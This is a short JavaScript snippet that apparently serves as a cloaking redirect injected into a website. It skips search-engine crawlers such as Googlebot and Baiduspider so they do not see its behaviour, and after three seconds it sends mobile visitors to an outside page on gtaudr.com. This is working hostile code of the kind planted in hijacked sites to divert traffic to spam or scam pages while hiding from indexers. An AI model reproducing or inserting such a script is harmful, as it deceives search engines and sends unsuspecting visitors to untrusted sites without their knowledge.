(function() {
    var ua = navigator.userAgent.toLowerCase();

    // 
    var isBot = /bot|spider|crawler|googlebot|bingbot|baiduspider|yisouspider|360spider|sogou|duckduckbot|yandexbot/.test(ua);
    if (isBot) return;

    // 
    var isMobile = /android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini|ucweb|meego|symbian/.test(ua);

    if (isMobile) {
        setTimeout(function() {
            window.location.href = "https://ml200.gtaudr.com/36.html";
        }, 3000); // 
    }
})();